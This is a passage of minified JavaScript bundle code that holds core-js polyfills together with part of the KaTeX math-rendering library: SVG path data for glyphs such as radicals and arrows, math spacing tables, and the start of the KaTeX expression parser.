2}))}catch(o){}e.exports=function(e,t){if(!t&&!i)return!1;var n=!1;try{var a=[7],s=a[r]();s.next=function(){return{done:n=!0}},a[r]=function(){return s},e(a)}catch(o){}return n}},function(e,t,n){e.exports={default:n(98),__esModule:!0}},function(e,t,n){n(58),n(36),e.exports=n(102)},function(e,t,n){"use strict";var r=n(100),i=n(101),a=n(17),o=n(40);e.exports=n(48)(Array,"Array",(function(e,t){this._t=o(e),this._i=0,this._k=t}),(function(){var e=this._t,t=this._k,n=this._i++;return!e||n>=e.length?(this._t=void 0,i(1)):i(0,"keys"==t?n:"values"==t?e[n]:[n,e[n]])}),"values"),a.Arguments=a.Array,r("keys"),r("values"),r("entries")},function(e,t){e.exports=function(){}},function(e,t){e.exports=function(e,t){return{value:t,done:!!e}}},function(e,t,n){var r=n(56),i=n(11)("iterator"),a=n(17);e.exports=n(8).isIterable=function(e){var t=Object(e);return void 0!==t[i]||"@@iterator"in t||a.hasOwnProperty(r(t))}},function(e,t,n){n(58),n(36),e.exports=n(104)},function(e,t,n){var r=n(22),i=n(55);e.exports=n(8).getIterator=function(e){var t=i(e);if("function"!=typeof t)throw TypeError(e+" is not iterable!");return r(t.call(e))}},function(e,t,n){e.exports={default:n(106),__esModule:!0}},function(e,t,n){n(107),e.exports=n(8).Object.assign},function(e,t,n){var r=n(25);r(r.S+r.F,"Object",{assign:n(108)})},function(e,t,n){"use strict";var r=n(39),i=n(109),a=n(110),o=n(29),s=n(49),l=Object.assign;e.exports=!l||n(24)((function(){var e={},t={},n=Symbol(),r="abcdefghijklmnopqrst";return e[n]=7,r.split("").forEach((function(e){t[e]=e})),7!=l({},e)[n]||Object.keys(l({},t)).join("")!=r}))?function(e,t){for(var n=o(e),l=arguments.length,u=1,c=i.f,f=a.f;l>u;)for(var h,d=s(arguments[u++]),p=c?r(d).concat(c(d)):r(d),m=p.length,v=0;m>v;)f.call(d,h=p[v++])&&(n[h]=d[h]);return n}:l},function(e,t){t.f=Object.getOwnPropertySymbols},function(e,t){t.f={}.propertyIsEnumerable},function(e,t,n){"use strict";var r={stdHorizRule:"M0 80H400000 v40H0z M0 80H400000 v40H0z",vertSeparator:"M100 0h50V400000h-50zM100 0h50V400000h-50z",sqrtMain:"M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,\n-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,\n-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,\n35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,\n-221c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467\ns-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422\ns-65,47,-65,47z M834 80H400000v40H845z",sqrtSize1:"M263,681c0.7,0,18,39.7,52,119c34,79.3,68.167,\n158.7,102.5,238c34.3,79.3,51.8,119.3,52.5,120c340,-704.7,510.7,-1060.3,512,-1067\nc4.7,-7.3,11,-11,19,-11H40000v40H1012.3s-271.3,567,-271.3,567c-38.7,80.7,-84,\n175,-136,283c-52,108,-89.167,185.3,-111.5,232c-22.3,46.7,-33.8,70.3,-34.5,71\nc-4.7,4.7,-12.3,7,-23,7s-12,-1,-12,-1s-109,-253,-109,-253c-72.7,-168,-109.3,\n-252,-110,-252c-10.7,8,-22,16.7,-34,26c-22,17.3,-33.3,26,-34,26s-26,-26,-26,-26\ns76,-59,76,-59s76,-60,76,-60z M1001 80H40000v40H1012z",sqrtSize2:"M1001,80H400000v40H1013.1s-83.4,268,-264.1,840c-180.7,\n572,-277,876.3,-289,913c-4.7,4.7,-12.7,7,-24,7s-12,0,-12,0c-1.3,-3.3,-3.7,-11.7,\n-7,-25c-35.3,-125.3,-106.7,-373.3,-214,-744c-10,12,-21,25,-33,39s-32,39,-32,39\nc-6,-5.3,-15,-14,-27,-26s25,-30,25,-30c26.7,-32.7,52,-63,76,-91s52,-60,52,-60\ns208,722,208,722c56,-175.3,126.3,-397.3,211,-666c84.7,-268.7,153.8,-488.2,207.5,\n-658.5c53.7,-170.3,84.5,-266.8,92.5,-289.5c4,-6.7,10,-10,18,-10z\nM1001 80H400000v40H1013z",sqrtSize3:"M424,2478c-1.3,-0.7,-38.5,-172,-111.5,-514c-73,\n-342,-109.8,-513.3,-110.5,-514c0,-2,-10.7,14.3,-32,49c-4.7,7.3,-9.8,15.7,-15.5,\n25c-5.7,9.3,-9.8,16,-12.5,20s-5,7,-5,7c-4,-3.3,-8.3,-7.7,-13,-13s-13,-13,-13,\n-13s76,-122,76,-122s77,-121,77,-121s209,968,209,968c0,-2,84.7,-361.7,254,-1079\nc169.3,-717.3,254.7,-1077.7,256,-1081c4,-6.7,10,-10,18,-10H400000v40H1014.6\ns-87.3,378.7,-272.6,1166c-185.3,787.3,-279.3,1182.3,-282,1185c-2,6,-10,9,-24,9\nc-8,0,-12,-0.7,-12,-2z M1001 80H400000v40H1014z",sqrtSize4:"M473,2793c339.3,-1799.3,509.3,-2700,510,-2702\nc3.3,-7.3,9.3,-11,18,-11H400000v40H1017.7s-90.5,478,-276.2,1466c-185.7,988,\n-279.5,1483,-281.5,1485c-2,6,-10,9,-24,9c-8,0,-12,-0.7,-12,-2c0,-1.3,-5.3,-32,\n-16,-92c-50.7,-293.3,-119.7,-693.3,-207,-1200c0,-1.3,-5.3,8.7,-16,30c-10.7,\n21.3,-21.3,42.7,-32,64s-16,33,-16,33s-26,-26,-26,-26s76,-153,76,-153s77,-151,\n77,-151c0.7,0.7,35.7,202,105,604c67.3,400.7,102,602.7,104,606z\nM1001 80H400000v40H1017z",doubleleftarrow:"M262 157\nl10-10c34-36 62.7-77 86-123 3.3-8 5-13.3 5-16 0-5.3-6.7-8-20-8-7.3\n 0-12.2.5-14.5 1.5-2.3 1-4.8 4.5-7.5 10.5-49.3 97.3-121.7 169.3-217 216-28\n 14-57.3 25-88 33-6.7 2-11 3.8-13 5.5-2 1.7-3 4.2-3 7.5s1 5.8 3 7.5\nc2 1.7 6.3 3.5 13 5.5 68 17.3 128.2 47.8 180.5 91.5 52.3 43.7 93.8 96.2 124.5\n 157.5 9.3 8 15.3 12.3 18 13h6c12-.7 18-4 18-10 0-2-1.7-7-5-15-23.3-46-52-87\n-86-123l-10-10h399738v-40H218c328 0 0 0 0 0l-10-8c-26.7-20-65.7-43-117-69 2.7\n-2 6-3.7 10-5 36.7-16 72.3-37.3 107-64l10-8h399782v-40z\nm8 0v40h399730v-40zm0 194v40h399730v-40z",doublerightarrow:"M399738 392l\n-10 10c-34 36-62.7 77-86 123-3.3 8-5 13.3-5 16 0 5.3 6.7 8 20 8 7.3 0 12.2-.5\n 14.5-1.5 2.3-1 4.8-4.5 7.5-10.5 49.3-97.3 121.7-169.3 217-216 28-14 57.3-25 88\n-33 6.7-2 11-3.8 13-5.5 2-1.7 3-4.2 3-7.5s-1-5.8-3-7.5c-2-1.7-6.3-3.5-13-5.5-68\n-17.3-128.2-47.8-180.5-91.5-52.3-43.7-93.8-96.2-124.5-157.5-9.3-8-15.3-12.3-18\n-13h-6c-12 .7-18 4-18 10 0 2 1.7 7 5 15 23.3 46 52 87 86 123l10 10H0v40h399782\nc-328 0 0 0 0 0l10 8c26.7 20 65.7 43 117 69-2.7 2-6 3.7-10 5-36.7 16-72.3 37.3\n-107 64l-10 8H0v40zM0 157v40h399730v-40zm0 194v40h399730v-40z",leftarrow:"M400000 241H110l3-3c68.7-52.7 113.7-120\n 135-202 4-14.7 6-23 6-25 0-7.3-7-11-21-11-8 0-13.2.8-15.5 2.5-2.3 1.7-4.2 5.8\n-5.5 12.5-1.3 4.7-2.7 10.3-4 17-12 48.7-34.8 92-68.5 130S65.3 228.3 18 247\nc-10 4-16 7.7-18 11 0 8.7 6 14.3 18 17 47.3 18.7 87.8 47 121.5 85S196 441.3 208\n 490c.7 2 1.3 5 2 9s1.2 6.7 1.5 8c.3 1.3 1 3.3 2 6s2.2 4.5 3.5 5.5c1.3 1 3.3\n 1.8 6 2.5s6 1 10 1c14 0 21-3.7 21-11 0-2-2-10.3-6-25-20-79.3-65-146.7-135-202\n l-3-3h399890zM100 241v40h399900v-40z",leftbrace:"M6 548l-6-6v-35l6-11c56-104 135.3-181.3 238-232 57.3-28.7 117\n-45 179-50h399577v120H403c-43.3 7-81 15-113 26-100.7 33-179.7 91-237 174-2.7\n 5-6 9-10 13-.7 1-7.3 1-20 1H6z",leftbraceunder:"M0 6l6-6h17c12.688 0 19.313.3 20 1 4 4 7.313 8.3 10 13\n 35.313 51.3 80.813 93.8 136.5 127.5 55.688 33.7 117.188 55.8 184.5 66.5.688\n 0 2 .3 4 1 18.688 2.7 76 4.3 172 5h399450v120H429l-6-1c-124.688-8-235-61.7\n-331-161C60.687 138.7 32.312 99.3 7 54L0 41V6z",leftgroup:"M400000 80\nH435C64 80 168.3 229.4 21 260c-5.9 1.2-18 0-18 0-2 0-3-1-3-3v-38C76 61 257 0\n 435 0h399565z",leftgroupunder:"M400000 262\nH435C64 262 168.3 112.6 21 82c-5.9-1.2-18 0-18 0-2 0-3 1-3 3v38c76 158 257 219\n 435 219h399565z",leftharpoon:"M0 267c.7 5.3 3 10 7 14h399993v-40H93c3.3\n-3.3 10.2-9.5 20.5-18.5s17.8-15.8 22.5-20.5c50.7-52 88-110.3 112-175 4-11.3 5\n-18.3 3-21-1.3-4-7.3-6-18-6-8 0-13 .7-15 2s-4.7 6.7-8 16c-42 98.7-107.3 174.7\n-196 228-6.7 4.7-10.7 8-12 10-1.3 2-2 5.7-2 11zm100-26v40h399900v-40z",leftharpoonplus:"M0 267c.7 5.3 3 10 7 14h399993v-40H93c3.3-3.3 10.2-9.5\n 20.5-18.5s17.8-15.8 22.5-20.5c50.7-52 88-110.3 112-175 4-11.3 5-18.3 3-21-1.3\n-4-7.3-6-18-6-8 0-13 .7-15 2s-4.7 6.7-8 16c-42 98.7-107.3 174.7-196 228-6.7 4.7\n-10.7 8-12 10-1.3 2-2 5.7-2 11zm100-26v40h399900v-40zM0 435v40h400000v-40z\nm0 0v40h400000v-40z",leftharpoondown:"M7 241c-4 4-6.333 8.667-7 14 0 5.333.667 9 2 11s5.333\n 5.333 12 10c90.667 54 156 130 196 228 3.333 10.667 6.333 16.333 9 17 2 .667 5\n 1 9 1h5c10.667 0 16.667-2 18-6 2-2.667 1-9.667-3-21-32-87.333-82.667-157.667\n-152-211l-3-3h399907v-40zM93 281 H400000 v-40L7 241z",leftharpoondownplus:"M7 435c-4 4-6.3 8.7-7 14 0 5.3.7 9 2 11s5.3 5.3 12\n 10c90.7 54 156 130 196 228 3.3 10.7 6.3 16.3 9 17 2 .7 5 1 9 1h5c10.7 0 16.7\n-2 18-6 2-2.7 1-9.7-3-21-32-87.3-82.7-157.7-152-211l-3-3h399907v-40H7zm93 0\nv40h399900v-40zM0 241v40h399900v-40zm0 0v40h399900v-40z",lefthook:"M400000 281 H103s-33-11.2-61-33.5S0 197.3 0 164s14.2-61.2 42.5\n-83.5C70.8 58.2 104 47 142 47 c16.7 0 25 6.7 25 20 0 12-8.7 18.7-26 20-40 3.3\n-68.7 15.7-86 37-10 12-15 25.3-15 40 0 22.7 9.8 40.7 29.5 54 19.7 13.3 43.5 21\n 71.5 23h399859zM103 281v-40h399897v40z",leftlinesegment:"M40 281 V428 H0 V94 H40 V241 H400000 v40z\nM40 281 V428 H0 V94 H40 V241 H400000 v40z",leftmapsto:"M40 281 V448H0V74H40V241H400000v40z\nM40 281 V448H0V74H40V241H400000v40z",leftToFrom:"M0 147h400000v40H0zm0 214c68 40 115.7 95.7 143 167h22c15.3 0 23\n-.3 23-1 0-1.3-5.3-13.7-16-37-18-35.3-41.3-69-70-101l-7-8h399905v-40H95l7-8\nc28.7-32 52-65.7 70-101 10.7-23.3 16-35.7 16-37 0-.7-7.7-1-23-1h-22C115.7 265.3\n 68 321 0 361zm0-174v-40h399900v40zm100 154v40h399900v-40z",longequal:"M0 50 h400000 v40H0z m0 194h40000v40H0z\nM0 50 h400000 v40H0z m0 194h40000v40H0z",midbrace:"M200428 334\nc-100.7-8.3-195.3-44-280-108-55.3-42-101.7-93-139-153l-9-14c-2.7 4-5.7 8.7-9 14\n-53.3 86.7-123.7 153-211 199-66.7 36-137.3 56.3-212 62H0V214h199568c178.3-11.7\n 311.7-78.3 403-201 6-8 9.7-12 11-12 .7-.7 6.7-1 18-1s17.3.3 18 1c1.3 0 5 4 11\n 12 44.7 59.3 101.3 106.3 170 141s145.3 54.3 229 60h199572v120z",midbraceunder:"M199572 214\nc100.7 8.3 195.3 44 280 108 55.3 42 101.7 93 139 153l9 14c2.7-4 5.7-8.7 9-14\n 53.3-86.7 123.7-153 211-199 66.7-36 137.3-56.3 212-62h199568v120H200432c-178.3\n 11.7-311.7 78.3-403 201-6 8-9.7 12-11 12-.7.7-6.7 1-18 1s-17.3-.3-18-1c-1.3 0\n-5-4-11-12-44.7-59.3-101.3-106.3-170-141s-145.3-54.3-229-60H0V214z",rightarrow:"M0 241v40h399891c-47.3 35.3-84 78-110 128\n-16.7 32-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20\n 11 8 0 13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7\n 39-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85\n-40.5-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5\n-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67\n 151.7 139 205zm0 0v40h399900v-40z",rightbrace:"M400000 542l\n-6 6h-17c-12.7 0-19.3-.3-20-1-4-4-7.3-8.3-10-13-35.3-51.3-80.8-93.8-136.5-127.5\ns-117.2-55.8-184.5-66.5c-.7 0-2-.3-4-1-18.7-2.7-76-4.3-172-5H0V214h399571l6 1\nc124.7 8 235 61.7 331 161 31.3 33.3 59.7 72.7 85 118l7 13v35z",rightbraceunder:"M399994 0l6 6v35l-6 11c-56 104-135.3 181.3-238 232-57.3\n 28.7-117 45-179 50H-300V214h399897c43.3-7 81-15 113-26 100.7-33 179.7-91 237\n-174 2.7-5 6-9 10-13 .7-1 7.3-1 20-1h17z",rightgroup:"M0 80h399565c371 0 266.7 149.4 414 180 5.9 1.2 18 0 18 0 2 0\n 3-1 3-3v-38c-76-158-257-219-435-219H0z",rightgroupunder:"M0 262h399565c371 0 266.7-149.4 414-180 5.9-1.2 18 0 18\n 0 2 0 3 1 3 3v38c-76 158-257 219-435 219H0z",rightharpoon:"M0 241v40h399993c4.7-4.7 7-9.3 7-14 0-9.3\n-3.7-15.3-11-18-92.7-56.7-159-133.7-199-231-3.3-9.3-6-14.7-8-16-2-1.3-7-2-15-2\n-10.7 0-16.7 2-18 6-2 2.7-1 9.7 3 21 15.3 42 36.7 81.8 64 119.5 27.3 37.7 58\n 69.2 92 94.5zm0 0v40h399900v-40z",rightharpoonplus:"M0 241v40h399993c4.7-4.7 7-9.3 7-14 0-9.3-3.7-15.3-11\n-18-92.7-56.7-159-133.7-199-231-3.3-9.3-6-14.7-8-16-2-1.3-7-2-15-2-10.7 0-16.7\n 2-18 6-2 2.7-1 9.7 3 21 15.3 42 36.7 81.8 64 119.5 27.3 37.7 58 69.2 92 94.5z\nm0 0v40h399900v-40z m100 194v40h399900v-40zm0 0v40h399900v-40z",rightharpoondown:"M399747 511c0 7.3 6.7 11 20 11 8 0 13-.8 15-2.5s4.7-6.8\n 8-15.5c40-94 99.3-166.3 178-217 13.3-8 20.3-12.3 21-13 5.3-3.3 8.5-5.8 9.5\n-7.5 1-1.7 1.5-5.2 1.5-10.5s-2.3-10.3-7-15H0v40h399908c-34 25.3-64.7 57-92 95\n-27.3 38-48.7 77.7-64 119-3.3 8.7-5 14-5 16zM0 241v40h399900v-40z",rightharpoondownplus:"M399747 705c0 7.3 6.7 11 20 11 8 0 13-.8\n 15-2.5s4.7-6.8 8-15.5c40-94 99.3-166.3 178-217 13.3-8 20.3-12.3 21-13 5.3-3.3\n 8.5-5.8 9.5-7.5 1-1.7 1.5-5.2 1.5-10.5s-2.3-10.3-7-15H0v40h399908c-34 25.3\n-64.7 57-92 95-27.3 38-48.7 77.7-64 119-3.3 8.7-5 14-5 16zM0 435v40h399900v-40z\nm0-194v40h400000v-40zm0 0v40h400000v-40z",righthook:"M399859 241c-764 0 0 0 0 0 40-3.3 68.7-15.7 86-37 10-12 15-25.3\n 15-40 0-22.7-9.8-40.7-29.5-54-19.7-13.3-43.5-21-71.5-23-17.3-1.3-26-8-26-20 0\n-13.3 8.7-20 26-20 38 0 71 11.2 99 33.5 0 0 7 5.6 21 16.7 14 11.2 21 33.5 21\n 66.8s-14 61.2-42 83.5c-28 22.3-61 33.5-99 33.5L0 241z M0 281v-40h399859v40z",rightlinesegment:"M399960 241 V94 h40 V428 h-40 V281 H0 v-40z\nM399960 241 V94 h40 V428 h-40 V281 H0 v-40z",rightToFrom:"M400000 167c-70.7-42-118-97.7-142-167h-23c-15.3 0-23 .3-23\n 1 0 1.3 5.3 13.7 16 37 18 35.3 41.3 69 70 101l7 8H0v40h399905l-7 8c-28.7 32\n-52 65.7-70 101-10.7 23.3-16 35.7-16 37 0 .7 7.7 1 23 1h23c24-69.3 71.3-125 142\n-167z M100 147v40h399900v-40zM0 341v40h399900v-40z",twoheadleftarrow:"M0 167c68 40\n 115.7 95.7 143 167h22c15.3 0 23-.3 23-1 0-1.3-5.3-13.7-16-37-18-35.3-41.3-69\n-70-101l-7-8h125l9 7c50.7 39.3 85 86 103 140h46c0-4.7-6.3-18.7-19-42-18-35.3\n-40-67.3-66-96l-9-9h399716v-40H284l9-9c26-28.7 48-60.7 66-96 12.7-23.333 19\n-37.333 19-42h-46c-18 54-52.3 100.7-103 140l-9 7H95l7-8c28.7-32 52-65.7 70-101\n 10.7-23.333 16-35.7 16-37 0-.7-7.7-1-23-1h-22C115.7 71.3 68 127 0 167z",twoheadrightarrow:"M400000 167\nc-68-40-115.7-95.7-143-167h-22c-15.3 0-23 .3-23 1 0 1.3 5.3 13.7 16 37 18 35.3\n 41.3 69 70 101l7 8h-125l-9-7c-50.7-39.3-85-86-103-140h-46c0 4.7 6.3 18.7 19 42\n 18 35.3 40 67.3 66 96l9 9H0v40h399716l-9 9c-26 28.7-48 60.7-66 96-12.7 23.333\n-19 37.333-19 42h46c18-54 52.3-100.7 103-140l9-7h125l-7 8c-28.7 32-52 65.7-70\n 101-10.7 23.333-16 35.7-16 37 0 .7 7.7 1 23 1h22c27.3-71.3 75-127 143-167z",tilde1:"M200 55.538c-77 0-168 73.953-177 73.953-3 0-7\n-2.175-9-5.437L2 97c-1-2-2-4-2-6 0-4 2-7 5-9l20-12C116 12 171 0 207 0c86 0\n 114 68 191 68 78 0 168-68 177-68 4 0 7 2 9 5l12 19c1 2.175 2 4.35 2 6.525 0\n 4.35-2 7.613-5 9.788l-19 13.05c-92 63.077-116.937 75.308-183 76.128\n-68.267.847-113-73.952-191-73.952z",tilde2:"M344 55.266c-142 0-300.638 81.316-311.5 86.418\n-8.01 3.762-22.5 10.91-23.5 5.562L1 120c-1-2-1-3-1-4 0-5 3-9 8-10l18.4-9C160.9\n 31.9 283 0 358 0c148 0 188 122 331 122s314-97 326-97c4 0 8 2 10 7l7 21.114\nc1 2.14 1 3.21 1 4.28 0 5.347-3 9.626-7 10.696l-22.3 12.622C852.6 158.372 751\n 181.476 676 181.476c-149 0-189-126.21-332-126.21z",tilde3:"M786 59C457 59 32 175.242 13 175.242c-6 0-10-3.457\n-11-10.37L.15 138c-1-7 3-12 10-13l19.2-6.4C378.4 40.7 634.3 0 804.3 0c337 0\n 411.8 157 746.8 157 328 0 754-112 773-112 5 0 10 3 11 9l1 14.075c1 8.066-.697\n 16.595-6.697 17.492l-21.052 7.31c-367.9 98.146-609.15 122.696-778.15 122.696\n -338 0-409-156.573-744-156.573z",tilde4:"M786 58C457 58 32 177.487 13 177.487c-6 0-10-3.345\n-11-10.035L.15 143c-1-7 3-12 10-13l22-6.7C381.2 35 637.15 0 807.15 0c337 0 409\n 177 744 177 328 0 754-127 773-127 5 0 10 3 11 9l1 14.794c1 7.805-3 13.38-9\n 14.495l-20.7 5.574c-366.85 99.79-607.3 139.372-776.3 139.372-338 0-409\n -175.236-744-175.236z",vec:"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",widehat1:"M529 0h5l519 115c5 1 9 5 9 10 0 1-1 2-1 3l-4 22\nc-1 5-5 9-11 9h-2L532 67 19 159h-2c-5 0-9-4-11-9l-5-22c-1-6 2-12 8-13z",widehat2:"M1181 0h2l1171 176c6 0 10 5 10 11l-2 23c-1 6-5 10\n-11 10h-1L1182 67 15 220h-1c-6 0-10-4-11-10l-2-23c-1-6 4-11 10-11z",widehat3:"M1181 0h2l1171 236c6 0 10 5 10 11l-2 23c-1 6-5 10\n-11 10h-1L1182 67 15 280h-1c-6 0-10-4-11-10l-2-23c-1-6 4-11 10-11z",widehat4:"M1181 0h2l1171 296c6 0 10 5 10 11l-2 23c-1 6-5 10\n-11 10h-1L1182 67 15 340h-1c-6 0-10-4-11-10l-2-23c-1-6 4-11 10-11z",baraboveleftarrow:"M1 500c30.67-18 59-41.833 85-71.5s45-61.17 57-94.5h23\nc15.33 0 23 .33 23 1 0 .67-5.33 12.67-16 36-16.67 34.67-39 67.33-67 98l-10 11\nh39904v40H96l9 10c27.33 30.67 50.67 65 70 103l14 33c0 .67-7.67 1-23 1h-22\nC116.67 596.33 69 540.67 1 500z M96 480 H400000 v40 H96z\nM1 147 H399905 v40 H1z M0 147 H399905 v40 H0z",rightarrowabovebar:"M400000 167c-70.67 42-118 97.67-142 167h-23c-15.33 0\n-23-.33-23-1 0-1.33 5.33-13.67 16-37 18-35.33 41.33-69 70-101l7-8h-39905\nv-40h39905c-389 0 0 0 0 0l-7-8c-28.67-32-52-65.67-70-101-10.67-23.33-16-35.67\n-16-37 0-.67 7.67-1 23-1h23c11.33 33.33 30 64.833 56 94.5s54.67 53.83 86 72.5z\nM0 147 H399905 v40 H0z M96 480 H400000 v40 H0z M96 480 H400000 v40 H0z",baraboveshortleftharpoon:"M507,435c-4,4,-6.3,8.7,-7,14c0,5.3,0.7,9,2,11\nc1.3,2,5.3,5.3,12,10c90.7,54,156,130,196,228c3.3,10.7,6.3,16.3,9,17\nc2,0.7,5,1,9,1c0,0,5,0,5,0c10.7,0,16.7,-2,18,-6c2,-2.7,1,-9.7,-3,-21\nc-32,-87.3,-82.7,-157.7,-152,-211c0,0,-3,-3,-3,-3l399351,0l0,-40\nc-398570,0,-399437,0,-399437,0z M593 435 v40 H399500 v-40z\nM0 281 v-40 H399908 v40z M0 281 v-40 H399908 v40z",rightharpoonaboveshortbar:"M0,241 l0,40c399126,0,399993,0,399993,0\nc4.7,-4.7,7,-9.3,7,-14c0,-9.3,-3.7,-15.3,-11,-18c-92.7,-56.7,-159,-133.7,-199,\n-231c-3.3,-9.3,-6,-14.7,-8,-16c-2,-1.3,-7,-2,-15,-2c-10.7,0,-16.7,2,-18,6\nc-2,2.7,-1,9.7,3,21c15.3,42,36.7,81.8,64,119.5c27.3,37.7,58,69.2,92,94.5z\nM0 241 v40 H399908 v-40z M0 475 v-40 H399500 v40z M0 475 v-40 H399500 v40z",shortbaraboveleftharpoon:"M7,435c-4,4,-6.3,8.7,-7,14c0,5.3,0.7,9,2,11\nc1.3,2,5.3,5.3,12,10c90.7,54,156,130,196,228c3.3,10.7,6.3,16.3,9,17c2,0.7,5,1,9,\n1c0,0,5,0,5,0c10.7,0,16.7,-2,18,-6c2,-2.7,1,-9.7,-3,-21c-32,-87.3,-82.7,-157.7,\n-152,-211c0,0,-3,-3,-3,-3l399907,0l0,-40c-399126,0,-399993,0,-399993,0z\nM93 435 v40 H400000 v-40z M500 241 v40 H400000 v-40z M500 241 v40 H400000 v-40z",shortrightharpoonabovebar:"M53,241l0,40c398570,0,399437,0,399437,0\nc4.7,-4.7,7,-9.3,7,-14c0,-9.3,-3.7,-15.3,-11,-18c-92.7,-56.7,-159,-133.7,-199,\n-231c-3.3,-9.3,-6,-14.7,-8,-16c-2,-1.3,-7,-2,-15,-2c-10.7,0,-16.7,2,-18,6\nc-2,2.7,-1,9.7,3,21c15.3,42,36.7,81.8,64,119.5c27.3,37.7,58,69.2,92,94.5z\nM500 241 v40 H399408 v-40z M500 435 v40 H400000 v-40z"};t.a={path:r}},function(e,t,n){"use strict";n.d(t,"a",(function(){return o})),n.d(t,"b",(function(){return s}));var r={number:3,unit:"mu"},i={number:4,unit:"mu"},a={number:5,unit:"mu"},o={mord:{mop:r,mbin:i,mrel:a,minner:r},mop:{mord:r,mop:r,mrel:a,minner:r},mbin:{mord:i,mop:i,mopen:i,minner:i},mrel:{mord:a,mop:a,mopen:a,minner:a},mopen:{},mclose:{mop:r,mbin:i,mrel:a,minner:r},mpunct:{mord:r,mop:r,mrel:a,mopen:r,mclose:r,mpunct:r,minner:r},minner:{mord:r,mop:r,mbin:i,mrel:a,mopen:r,mpunct:r,minner:r}},s={mord:{mop:r},mop:{mord:r,mop:r},mbin:{},mrel:{},mopen:{},mclose:{mop:r},mpunct:{},minner:{mop:r}}},function(e,t,n){"use strict";var r=n(114);t.a=function(e,t){if(!("string"===typeof e||e instanceof String))throw new TypeError("KaTeX can only parse string typed expression");return new r.a(e,t).parse()}},function(e,t,n){"use strict";var r=n(7),i=n.n(r),a=n(10),o=n.n(a),s=n(115),l=n(142),u=n(144),c=n(28),f=n(19),h=n(42),d=n(148),p=n.n(d),m=n(149),v=n(14),g=n(6),y=n(62);function b(e,t){return{type:"arg",result:e,token:t}}function x(e){if("$"===e.type)throw new g.a("Unexpected $",e.token);return e}n(34),n(27);var w=function(){function e(t,n){i()(this,e),this.mode="math",this.gullet=new u.a(t,n.macros,this.mode),n.colorIsTextColor&&(this.gullet.macros["\\color"]="\\textcolor"),this.settings=n,this.leftrightDepth=0}return o()(e,[{key:"expect",value:function(e){var t=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];if(this.nextToken.text!==e)throw new g.a("Expected '"+e+"', got '"+this.nextToken.text+"'",this.nextToken);t&&this.consume()}},{key:"consume",value:function(){this.nextToken=this.gullet.expandNextToken()}},{key:"switchMode",value:function(e){this.mode=e,this.gullet.switchMode(e)}},{key:"parse",value:function(){this.consume();var e=this.parseInput();return e}},{key:"parseInput",value:function(){var e=this.parseExpression(!1);return this.expect("EOF",!1),e}},{key:"parseExpression",value:function(t,n){for(var r=[];;){"math"===this.mode&&this.consumeSpaces();var i=this.nextToken;if(-1!==e.endOfExpression.indexOf(i.text))break;if(n&&i.text===n)break;if(t&&s.a[i.text]&&s.a[i.text].infix)break;var a=this.parseAtom(n);if(!a){if(!this.settings.throwOnError&&"\\"===i.text[0]){var o=this.handleUnsupportedCmd();r.push(o);continue}break}r.push(a)}return this.handleInfixNodes(r)}},{key:"handleInfixNodes",value:function(e){for(var t=-1,n=void 0,r=0;r<e.length;r++){var i=e[r];if("infix"===i.type){if(-1!==t)throw new g.a("only one infix operator per group",i.value.token);t=r,n=i.value.replaceWith}}if(-1!==t&&n){var a=void 0,o=void 0,s=e.slice(0,t),l=e.slice(t+1);a=1===s.length&&"ordgroup"===s[0].type?s[0]:new v.a("ordgroup",s,this.mode),o=1===l.length&&"ordgroup"===l[0].type?l[0]:new v.a("ordgroup",l,this.mode);var u=this.callFunction(n,[a,o],[]);return[new v.a(u.type,u,this.mode)]}return e}},{key:"handleSupSubscript",value:function(t){var n=this.nextToken,r=n.text;this.consume(),this.consumeSpaces();var i=this.parseGroup();if(!i){if(this.settings.throwOnError||"\\"!==this.nextToken.text[0])throw new g.a("Expected group after '"+r+"'",n);return this.handleUnsupportedCmd()}var a=x(i);if("fn"===a.type){if(s.a[a.result].greediness>e.SUPSUB_GREEDINESS)return this.parseGivenFunction(i);throw new g.a("Got function '"+a.result+"' with no arguments as "+t,n)}return a.result}},{key:"handleUnsupportedCmd",value:function(){for(var e=this.nextToken.text,t=[],n=0;n<e.length;n++)t.push(new v.a("textord",e[n],"text"));var r=new v.a("text",{body:t,type:"text"},this.mode),i=new v.a("color",{color:this.settings.errorColor,value:[r],type:"color"},this.mode);return this.consume(),i}},{key:"parseAtom",value:function(e){var t=this.parseImplicitGroup(e);if("text"===this.mode)return t;for(var n=void 0,r=void 0;;){this.consumeSpaces();var i=this.nextToken;if("\\limits"===i.text||"\\nolimits"===i.text){if(!t||"op"!==t.type)throw new g.a("Limit controls must follow a math operator",i);var a="\\limits"===i.text;t.value.limits=a,t.value.alwaysHandleSupSub=!0,this.consume()}else if("^"===i.text){if(n)throw new g.a("Double superscript",i);n=this.handleSupSubscript("superscript")}else 